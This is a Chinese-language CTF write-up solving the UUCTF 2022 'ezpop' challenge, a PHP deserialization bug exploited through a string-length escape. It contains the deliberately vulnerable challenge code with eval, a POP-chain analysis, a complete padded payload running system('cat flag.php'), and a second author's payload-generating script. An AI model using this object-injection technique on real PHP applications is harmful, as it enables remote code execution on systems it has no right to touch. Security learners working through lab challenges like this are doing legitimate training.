[UUCTF 2022 新生赛]ezpop - 反序列化+字符串逃逸【***】

[UUCTF 2022 新生赛]ezpop

  • 一、解题过程
  • 二、其他WP
  • 三、总结反思

[UUCTF 2022 新生赛]ezpop - 反序列化+字符串逃逸【***】_第1张图片

一、解题过程

题目代码:

 <?php
//flag in flag.php
error_reporting(0);
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
   		if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd;
    function rce(){
        eval($this->cmd);
    }
}
$pdata=$_POST["data"];
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}
?>
  1. 分析
    起点:UUCTF(__construct)
    终点:youwant(rce)
    链条:UUCTF(key='UUCTF';basedata=反序列化数据)-> nothing(a=&$n->b;t=$o)-> output(a=$y)-> youwant(cmd=命令)
    注意点:1、UUCTF的basedata用来存放反序列化数据
        2、参数是data,通过post传参
        3、post的参数,需要通过字符串逃逸

  2. 针对此类题目,由于特点是把我们的序列化数据再次序列化,随便传个nb进去,看看到底经过二次序列化后的数据是什么样

    
    	class UUCTF{
    	    public $name,$key,$basedata,$ob;
    	    function __construct($str){
    	        $this->name=$str;
    	    }
    	}
    	$pdata="nb";
    	$data=serialize(new UUCTF($pdata));
    	echo $data;
    	$data_replace=str_replace("hacker","loveuu!",$data);
    	//echo $data_replace;
    ?>
    

    得到:O:5:“UUCTF”:4:{s:4:“name”;s:2:" nb ";s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}
    nb之前:O:5:'UUCTF':4:{s:4:'name';s:2:'
    nb之后:';s:3:'key';N;s:8:'basedata';N;s:2:'ob';N;}
    而nb就是我们可以操作的地方

  3. 假设我们前面做的再好,比如构造好了包含basedata的序列化代码
      但是最后这段插入的位置是在nb那里,只会执行nb之后的 s:8:‘basedata’;N;
      所以我们需要把nb之后的所有给逃逸掉,重点在于把basedata重构

  4. 根据分析,先把database的序列化代码写出来(特别注意,这里要base64_encode,而不是urlencode)

    
    	class output{
    	    public $a;
    	}
    	class nothing{
    	    public $a;
    	    public $b;
    	    public $t;
    	}
    	class youwant{
    	    public $cmd;
    	}
    	
    	$o = new output();
    	$n = new nothing();
    	$y = new youwant();
    	$n->a=&$n->b;
    	$n->t=$o;
    	$o->a=$y;
    	$y->cmd="system('cat flag.php');";
    	//echo serialize($n);
    	echo base64_encode(serialize($n));
    ?>
    

    得到:
    Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19

  5. 再构造完整的语句,也就是第二步得到的nb后,将key设为UUCTF、basedata设为第四步得到的base64编码
    ";s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}
    变成
    ";s:3:"key”;s:5:"UUCTF";s:8:“basedata”;s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:“ob”;N;}

  6. 要使这些语句能够正确反序列化,需要进行逃逸,共236个字符
    hacker = 6字符 -> loveuu! = 7字符  ——  经过变化后可以逃逸一个字符
    使用工具:在线文本重复工具 得到236个hacker拼接在前

    payload=hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;}
    

    [UUCTF 2022 新生赛]ezpop - 反序列化+字符串逃逸【***】_第2张图片

二、其他WP

2022 UUCTF Web
直接利用脚本生成payload,更快,但是我估计我想不到


//flag in flag.php
error_reporting(0);
class output{
     public $a;
}
class nothing{
     public $a;
     public $b;
     public $t;
     function __wakeup(){
     $this->a="";
     }
     function __destruct(){
     $this->b=$this->t;
     die($this->a);
     }
}
class youwant{
     public $cmd="system('cat flag.php');";
}
$A = new nothing();
$A->a = &$A->b;
$A->t = new output();
$A->t->a = new youwant();
$basedata = base64_encode(serialize($A));
$data = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
$hacker='';
for($i=0;$i<strlen($data);$i++)
     $hacker .= 'hacker';
echo $hacker.$data;
?>

三、总结反思

这道题目来来回回应该是做了3次。第一次自己做,在字符串逃逸的时候思路错了。第二次看答案做,跟着步骤来,也理解了,但是不确定有没有掌握。第三次做了非常久,换了几种思路做,终于做出来了!
本人水平有限,做出这道题花了不少时间,目的就是为了掌握这种反序列化+逃逸题目的解题思维,总之还是收获不少。

你可能感兴趣的:(CTF-WEB,web安全,安全,ctf,php,反序列化,字符串逃逸)